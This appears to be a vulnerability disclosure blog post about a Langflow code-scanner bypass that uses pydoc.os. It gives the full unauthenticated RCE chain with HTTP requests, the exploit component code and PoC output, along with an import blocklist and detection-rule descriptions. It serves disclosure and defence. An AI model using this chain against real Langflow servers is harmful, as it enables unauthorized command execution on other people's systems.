CVE-2026-110186: The Scanner That Forgot About pydoc

Langflow is an open-source visual framework for building LLM-powered applications. It has over 55k stars on GitHub, ships as a Docker image, and lands in production faster than most teams can audit it. When its agentic assistant generates a Python component, a security scanner walks the AST looking for dangerous imports — os, subprocess, ctypes, shutil, and 30-odd others. The scanner blocks them all. It does not block pydoc.

That is CVE-2026-110186 in one import statement. pydoc is part of the Python standard library. It generates documentation. And it re-exports the os module as pydoc.os. One import pydoc passes the scanner, and pydoc.os.popen(cmd) gives you a shell on the Langflow server. With LANGFLOW_AUTO_LOGIN=true — the default — the entire chain is unauthenticated. CVSS 9.8.

Repo with PoC, scanner, Suricata/Sigma detection rules, and PCAP: github.com/al4n4n/CVE-2026-110186.

What Langflow is, and why it has a code scanner

Langflow lets you drag components onto a canvas, wire them together, and produce an LLM-backed application. Think of it as a visual pipeline editor for AI workflows. Components are Python classes that inherit from Component and define inputs, outputs, and a build_output() method.

The agentic assistant takes this further: you describe what you want in natural language, and the assistant generates the component code for you. Because LLMs can write anything — including os.system("rm -rf /") — Langflow runs the generated code through scan_code_security() in code_security.py before it reaches the Python interpreter. This is the gate between “LLM-generated text” and “code running on your server.”

The scanner is AST-based. It parses the code, walks the tree, and rejects anything that imports from a blocklist. The blocklist is thorough: os, subprocess, sys, ctypes, shutil, socket, importlib, multiprocessing, signal, and many more. If the LLM generates import os, the scanner catches it. If it generates from subprocess import Popen, the scanner catches it. Even __import__("os") is blocked.

But Python’s standard library is vast, and modules reference each other in ways that no blocklist can fully enumerate.

The vulnerable code

Here is the relevant part of code_security.py in Langflow 1.12.5 (simplified):

1
2
3
4
5
6
7
8
9
DANGEROUS_IMPORTS: frozenset[str] = frozenset({
"os", "subprocess", "sys", "ctypes", "shutil",
"socket", "signal", "importlib", "multiprocessing",
"threading", "webbrowser", "antigravity", "turtle",
"code", "codeop", "compileall", "py_compile",
"ensurepip", "venv", "pip", "pty", "resource",
"sysconfig", "syslog", "winreg", "msvcrt",
# ... 30+ more entries
})

Notice what is not in the list: pydoc.

Now look at what pydoc gives you:

1
2
3
4
5
>>> import pydoc
>>> pydoc.os
<module 'os' from '/usr/lib/python3.12/os.py'>
>>> pydoc.os.popen("id").read()
'uid=1000(user) gid=0(root) groups=0(root)\n'

pydoc imports os at module level and exposes it as an attribute. pydoc.os is the real os module — not a wrapper, not a subset, the actual module object. Every function in os is accessible through it: popen, system, execve, listdir, remove. The scanner sees import pydoc and shrugs. It never checks what pydoc re-exports.

The same class of bypass exists in numpy.ctypeslib, which re-exports ctypes for native library loading. Both were blocked in PR #15586.

The attack chain

With LANGFLOW_AUTO_LOGIN=true — which is Langflow’s default — the entire exploit requires zero credentials:

Step 1: Get a superuser JWT.

1
GET /api/v1/auto_login HTTP/1.1

The server hands back an access_token with full superuser privileges. No username, no password. This is by design — Langflow’s auto-login mode is intended for development.

Step 2: Create an API key.

1
2
3
POST /api/v1/api_key/ HTTP/1.1
Authorization: Bearer <token>
{"name": "poc"}

The API key is needed to authenticate the flow execution endpoint.

Step 3: Get the CustomComponent template.

1
2
GET /api/v1/all HTTP/1.1
Authorization: Bearer <token>

This returns every component type, including CustomComponent — the template for user-defined components. I need its exact structure to create a valid flow.

Step 4: Create a flow with the pydoc bypass.

1
2
POST /api/v1/flows/ HTTP/1.1
Authorization: Bearer <token>

The flow contains a single custom component:

1
2
3
4
5
6
7
8
9
10
11
import pydoc
from lfx.custom.custom_component.component import Component
from lfx.schema.data import Data

class PydocBypass(Component):
display_name = "PydocBypass"

def build_output(self) -> Data:
_os = pydoc.os # <-- THE BYPASS
result = _os.popen(self.input_value).read().strip()
return Data(value=result)

import pydoc passes the scanner. pydoc.os is not flagged because the scanner only checks the import itself, not attribute access on allowed modules. The variable assignment _os = pydoc.os gives us full os module access under a clean alias.

Step 5: Run the flow.

1
2
3
POST /api/v1/run/<flow_id> HTTP/1.1
x-api-key: <api_key>
{"input_value": "id", "output_type": "any", "input_type": "any"}

The server imports the component, calls build_output(), and the command executes.

The proof

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 poc.py http://127.0.0.1:7860 --cmd "id"
[*] GET /api/v1/auto_login -> token (no credentials)
[*] POST /api/v1/api_key/ -> key created
[*] GET /api/v1/all -> CustomComponent template
[*] POST /api/v1/flows/ -> 1c9fdb72-3581-4bb2-b0a2-a200cf339098
[*] payload: import pydoc; pydoc.os.popen('id')
[*] POST /api/v1/run/1c9fdb72-3581-4bb2-b0a2-a200cf339098 -> 200
[*] output not in API response, reading marker file...
[*] marker file written to /tmp/cve-2026-110186-bf62f2dcc3ec.txt on server
[+] command executed on target (HTTP 200, flow completed)
[+] payload: import pydoc; pydoc.os.popen('id')
[*] flow deleted

The server process runs as uid=1000(user) gid=0(root) groups=0(root). The Langflow Docker image runs as a non-root user, but the user belongs to the root group. The command output is written to a marker file on the server, proving server-side execution.

The non-destructive scanner confirms the same target without triggering the vulnerability:

1
2
3
4
5
6
7
8
9
$ python3 check.py http://127.0.0.1:7860
[*] target: http://127.0.0.1:7860
[*] GET /api/v1/auto_login -> 200 (token: True)
[*] Langflow version: 1.12.5
[*] POST /api/v1/validate/code (import pydoc) -> allowed=True
[*] CustomComponent template: available
[+] VULNERABLE (confidence: high) -- auto_login issues superuser token
without credentials; CustomComponent template available;
pydoc import allowed=True; code injection via pydoc.os achieves RCE

The negative control (and a surprise)

I expected Langflow 1.12.6 — the version with the fix backported — to block the exploit. It does not.

1
2
3
4
5
6
7
8
$ python3 poc.py http://127.0.0.1:7861 --cmd "id"
[*] GET /api/v1/auto_login -> token (no credentials)
[*] POST /api/v1/api_key/ -> key created
[*] GET /api/v1/all -> CustomComponent template
[*] POST /api/v1/flows/ -> ebbee0a8-c67e-45ed-89f8-d72b752a72ba
[*] payload: import pydoc; pydoc.os.popen('id')
[*] POST /api/v1/run/ebbee0a8-c67e-45ed-89f8-d72b752a72ba -> 200
[+] command executed on target (HTTP 200, flow completed)

PR #15586 adds pydoc to DANGEROUS_IMPORTS in code_security.py. I verified the fix is present in the 1.12.6 Docker image — grep -n "pydoc" code_security.py finds it at line 295. But the scanner only guards the agentic assistant code generation path. My exploit uses the standard flow REST API (POST /api/v1/flows/ → POST /api/v1/run/), which executes custom component code without passing through code_security.py at all.

The scan_code_security() function is called from assistant_service.py, user_components.py, user_components_overlay.py, and flow_run.py — all agentic paths. The standard flow API is a separate execution path with no code validation gate.

This means the pydoc bypass is fixed for the agentic assistant, but the broader attack surface — arbitrary code execution through the flow API — remains open in 1.12.6. The flow API trusts that the code it receives has already been validated, but there is no validation on this path.

Impact

An attacker with network access to a Langflow instance can execute arbitrary commands as the Langflow process user. With the default LANGFLOW_AUTO_LOGIN=true configuration, no credentials are needed. The attack requires five HTTP requests and takes under one second.

Claim Status Evidence
Code injection via pydoc bypass Proven pydoc.os.popen() executes on target
Unauthenticated RCE (default config) Proven Full chain, zero credentials
Flow API lacks code validation Proven Exploit succeeds on 1.12.6 despite fix
PR #15586 blocks agentic path Confirmed pydoc present in 1.12.6 DANGEROUS_IMPORTS

Detection

I wrote Suricata and Sigma rules to detect exploitation. The Suricata rules match the three key API endpoints: GET /api/v1/auto_login, POST /api/v1/flows/ with pydoc in the body, and POST /api/v1/run/. The Sigma rule covers the same patterns in web server access logs.

Both rule sets are in the detection/ directory. The capture/ directory has a 24-packet PCAP of the full exploit chain, with no TLS, so the payload is visible to any inline IDS:

1
2
suricata -r capture/exploit-capture.pcap \
-s detection/cve-2026-110186.rules -l /tmp/suricata-test/

The fix

PR #15586 adds two entries:

1
2
3
4
5
# DANGEROUS_IMPORTS
"pydoc",

# DANGEROUS_SUBMODULES
"numpy.ctypeslib",

And adds ("numpy", "ctypeslib", ...) to DANGEROUS_ATTRIBUTE_READS, blocking numpy.ctypeslib access at the AST level.

The fix is correct for the agentic assistant path: import pydoc is now rejected before the code reaches the interpreter. The broader question of whether the flow API should also validate component code is a design decision that goes beyond this CVE.

Affected versions: 1.9.0 through 1.12.5 (on the agentic path). Fix backported in 1.12.6, included in 1.13.0.

Timeline

Date Event
2026 Vulnerability discovered and reported
2026 PR #15586 merged (fix)
2026 Langflow 1.12.6 released with backport
2026 Langflow 1.13.0 released
2026-11-04 This write-up published

Reproduction

1
2
3
4
5
6
7
git clone https://github.com/al4n4n/CVE-2026-110186
cd CVE-2026-110186
python3 setup.py # pulls Docker images, starts lab
python3 check.py http://127.0.0.1:7860 # non-destructive scan
python3 poc.py http://127.0.0.1:7860 # exploit
python3 verify.py http://127.0.0.1:7860 --rounds 3
python3 setup.py --teardown # cleanup

Every claim in this post can be verified by running these commands against the lab environment. The scripts use only Python stdlib — no pip dependencies.